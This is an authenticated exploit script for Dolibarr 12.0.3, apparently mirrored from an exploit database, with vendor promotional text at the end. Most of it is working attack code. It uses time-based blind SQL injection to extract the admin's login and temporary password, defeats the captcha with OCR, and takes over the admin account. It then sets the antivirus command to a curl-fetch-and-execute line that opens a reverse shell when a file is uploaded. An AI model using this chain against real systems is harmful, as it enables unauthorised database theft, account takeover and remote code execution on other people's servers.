# Exploit Title: Dolibarr 12.0.3 - SQLi to RCE
# Date: 2/12/2020
# Exploit Author: coiffeur
# Write Up: https://therealcoiffeur.github.io/c10010, https://therealcoiffeur.github.io/c10011
# Vendor Homepage: https://www.dolibarr.org/
# Software Link: https://www.dolibarr.org/downloads.php, https://sourceforge.net/projects/dolibarr/files/Dolibarr%20ERP-CRM/12.0.3/
# Version: 12.0.3
import argparse
import binascii
import random
import re
from io import BytesIO
from urllib.parse import quote_plus as qp
import bcrypt
import pytesseract
import requests
from bs4 import BeautifulSoup
from PIL import Image
DELTA = None
DEBUG = 1
SESSION = requests.session()
TRESHOLD = 0.80
DELAY = 1
LIKE = "%_subscription"
COLUMNS = ["login", "pass_temp"]
def usage():
banner = """NAME: Dolibarr SQLi to RCE (authenticate)
SYNOPSIS: python3 sqli_to_rce_12.0.3.py -t <BASE_URL> -u <USERNAME> -p <PAS=
SWORD>
EXAMPLE:
python3 sqli_to_rce_12.0.3.py -t "http://127.0.0.1/projects/dolibarr/12=
.0.3/htdocs/" -u test -p test
AUTHOR: coiffeur
"""
print(banner)
exit(-1)
def hex(text):
return "0x" + binascii.hexlify(text.encode()).decode()
def hash(password):
salt = bcrypt.gensalt()
hashed = bcrypt.hashpw(password.encode(), salt)
return hashed.decode()
def authenticate(url, username, password):
datas = {
"actionlogin": "login",
"loginfunction": "loginfunction",
"username": username,
"password": password
}
r = SESSION.post(f"{url}index.php", data=datas,
allow_redirects=False, verify=False)
if r.status_code != 302:
if DEBUG:
print(f"[x] Authentication failed!")
return 0
if DEBUG:
print(f" [*] Authenticated as: {username}")
return 1
def get_antispam_code(base_url):
code = ""
while len(code) != 5:
r = SESSION.get(f"{base_url}core/antispamimage.php", verify=False)
temp_image = f"/tmp/{random.randint(0000,9999)}"
with open(temp_image, "wb") as f:
f.write(r.content)
with open(temp_image, "rb") as f:
code = pytesseract.image_to_string(
Image.open(BytesIO(f.read()))).split("\n")[0]
for char in code:
if char not in "aAbBCDeEFgGhHJKLmMnNpPqQRsStTuVwWXYZz2345679":
code = ""
break
return code
def reset_password(url, login):
for _ in range(5):
code = get_antispam_code(url)
headers = {
"Referer": f"{url}user/passwordforgotten.php"
}
datas = {
"action": "buildnewpassword",
"username": login,
"code": code
}
r = SESSION.post(url=f"{url}user/passwordforgotten.php",
data=datas, headers=headers, verify=False)
if r.status_code == 200:
for response in [f"Request to change password for {login} sent =
to", f"Demande de changement de mot de passe pour {login} envoy=C3=A9e"]:
if r.text.find(response):
if DEBUG:
print(f" [*] Password reset using code: {code}")
return 1
return 0
def change_password(url, login, pass_temp):
r = requests.get(url=f"{url}user/passwordforgotten.php?action=val=
idatenewpassword&username={qp(login)}&passwordhash={hash(pass_temp)}",
allow_redirects=False, verify=False)
if r.status_code == 302:
if DEBUG:
print(f" [*] Password changed: {pass_temp}")
return 1
return 0
def change_binary(url, command, parameters):
headers = {
"Referer": f"{url}admin/security_file.php"
}
datas = {
"action": "updateform",
"MAIN_UPLOAD_DOC": "2048",
"MAIN_UMASK": "0664",
"MAIN_ANTIVIRUS_COMMAND": command,
"MAIN_ANTIVIRUS_PARAM": parameters
}
r = SESSION.post(url=f"{url}admin/security_file.php",
data=datas, headers=headers, verify=False)
if r.status_code == 200:
for response in ["Record modified successfully", "Enregistrement mo=
difi=C3=A9 avec succ=C3=A8s"]:
if response in r.text:
if DEBUG:
print(f" [*] Binary's path changed")
return 1
return 0
def trigger_exploit(url):
headers = {
"Referer": f"{url}admin/security_file.php"
}
files = {
"userfile[]": open("junk.txt", "rb"),
}
datas = {
"sendit": "Upload"
}
if DEBUG:
print(f" [*] Triggering reverse shell")
r = SESSION.post(url=f"{url}admin/security_file.php",
files=files, data=datas, headers=headers, verify=False)
if r.status_code == 200:
for response in ["File(s) uploaded successfully", "The antivirus pr=
ogram was not able to validate the file (file might be infected by a virus)=
", "Fichier(s) t=C3=A9l=C3=A9vers=C3=A9s(s) avec succ=C3=A8s", "L'antivirus=
n'a pas pu valider ce fichier (il est probablement infect=C3=A9 par un vir=
us) !"]:
if response in r.text:
if DEBUG:
print(f" [*] Exploit done")
return 1
return 0
def get_version(url):
r = SESSION.get(f"{url}index.php", verify=False)
x = re.findall(
r"Version Dolibarr [0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2}", r.text)
if x:
version = x[0]
if "12.0.3" in version:
if DEBUG:
print(f" [*] {version} (exploit should work)")
return 1
if DEBUG:
print(f"[*] Version may not be vulnerable")
return 0
def get_privileges(url):
r = SESSION.get(f"{url}index.php", verify=False)
x = re.findall(r"id=\d", r.text)
if x:
id = x[0]
if DEBUG:
print(f" [*] id found: {id}")
r = SESSION.get(f"{url}user/perms.php?{id}", verify=False)
soup = BeautifulSoup(r.text, 'html.parser')
for img in soup.find_all("img"):
if img.get("title") in ["Actif", "Active"]:
for td in img.parent.parent.find_all("td"):
privileges = [
"Consulter les commandes clients", "Read customers =
orders"]
for privilege in privileges:
if privilege in td:
if DEBUG:
print(
f" [*] Check privileges: {privilege}=
")
return 1
if DEBUG:
print(f"[*] At the sight of the privileges, the exploit may fail")
return 0
def check(url, payload):
headers = {
"Referer": f"{url}commande/stats/index.php?leftmenu=orders"
}
datas = {"object_status": payload}
r = SESSION.post(url=f"{url}commande/stats/index.php",
data=datas, headers=headers, verify=False)
return r.elapsed.total_seconds()
def evaluate_delay(url):
global DELTA
deltas = []
payload = f"IF(0<1, SLEEP({DELAY}), SLEEP(0))"
for _ in range(4):
deltas.append(check(url, payload))
DELTA = sum(deltas)/len(deltas)
if DEBUG:
print(f" [+] Delta: {DELTA}")
def get_tbl_name_len(url):
i = 0
while 1:
payload = f"IF((SELECT LENGTH(table_name) FROM information_schema=
.tables WHERE table_name LIKE {hex(LIKE)})>{i}, SLEEP(0), SLEEP({DELAY}))"
if check(url, payload) >= DELTA*TRESHOLD:
return i
if i > 100:
print(f"[x] Exploit failed")
exit(-1)
i += 1
def get_tbl_name(url, length):
tbl_name = ""
for i in range(1, length+1):
min, max = 0, 127-1
while min < max:
mid = (max + min) // 2
payload = f"IF((SELECT ASCII(SUBSTR(table_name,{i},1)) FROM i=
nformation_schema.tables WHERE table_name LIKE {hex(LIKE)})<={mid}, SLEEP=
({DELAY}), SLEEP(0))"
if check(url, payload) >= DELTA*TRESHOLD:
max = mid
else:
min = mid + 1
tbl_name += chr(min)
return tbl_name
def get_elt_len(url, tbl_name, column_name):
i = 0
while 1:
payload = f"IF((SELECT LENGTH({column_name}) FROM {tbl_name} LIMI=
T 1)>{i}, SLEEP(0), SLEEP({DELAY}))"
if check(url, payload) >= DELTA*TRESHOLD:
return i
if i > 100:
print(f"[x] Exploit failed")
exit(-1)
i += 1
def get_elt(url, tbl_name, column_name, length):
elt = ""
for i in range(1, length+1):
min, max = 0, 127-1
while min < max:
mid = (max + min) // 2
payload = f"IF((SELECT ASCII(SUBSTR({column_name},{i},1)) FRO=
M {tbl_name} LIMIT 1)<={mid} , SLEEP({DELAY}), SLEEP(0))"
if check(url, payload) >= DELTA*TRESHOLD:
max = mid
else:
min = mid + 1
elt += chr(min)
return elt
def get_row(url, tbl_name):
print(f" [*] Dump admin's infos from {tbl_name}")
infos = {}
for column_name in COLUMNS:
elt_length = get_elt_len(url, tbl_name, column_name)
infos[column_name] = get_elt(url, tbl_name, column_name, elt_leng=
th)
if DEBUG:
print(f" [+] Infos: {infos}")
return infos
def main(url, username, password):
# Check if exploit is possible
print(f"[*] Requirements:")
if not authenticate(url, username, password):
print(f"[x] Exploit failed!")
exit(-1)
get_version(url)
get_privileges(url)
print(f"\n[*] Starting exploit:")
# Evaluate delay
evaluate_delay(url)
print(f" [*] Extract prefix (using table: {LIKE})")
tbl_name_len = get_tbl_name_len(url)
tbl_name = get_tbl_name(url, tbl_name_len)
prefix = f"{tbl_name.split('_')[0]}_"
if DEBUG:
print(f" [+] Prefix: {prefix}")
# Dump admin's infos
user_table_name = f"{prefix}user"
infos = get_row(url, user_table_name)
if not infos["login"]:
print(f"[x] Exploit failed!")
exit(-1)
# Reset admin's passworrd
if DEBUG:
print(f" [*] Reseting {infos['login']}'s password")
if not reset_password(url, infos["login"]):
print(f"[x] Exploit failed!")
exit(-1)
infos = get_row(url, user_table_name)
# Remove cookies to logout
# Change admin's password
# Login as admin
SESSION.cookies.clear()
if not change_password(url, infos['login'], infos['pass_temp']):
print(f"[x] Exploit failed!")
exit(-1)
authenticate(url, infos['login'], infos['pass_temp'])
# Change antivirus's binary path
# Trigger reverse shell
change_binary(url, "bash", '-c "$(curl http://127.0.0.1:8000/poc.txt)"'=
)
trigger_exploit(url)
return 0
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", help="Base URL of Dolibarr")
parser.add_argument("-u", help="Username")
parser.add_argument("-p", help="Password")
args = parser.parse_args()
if not args.t or not args.u or not args.p:
usage()
main(args.t, args.u, args.p)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation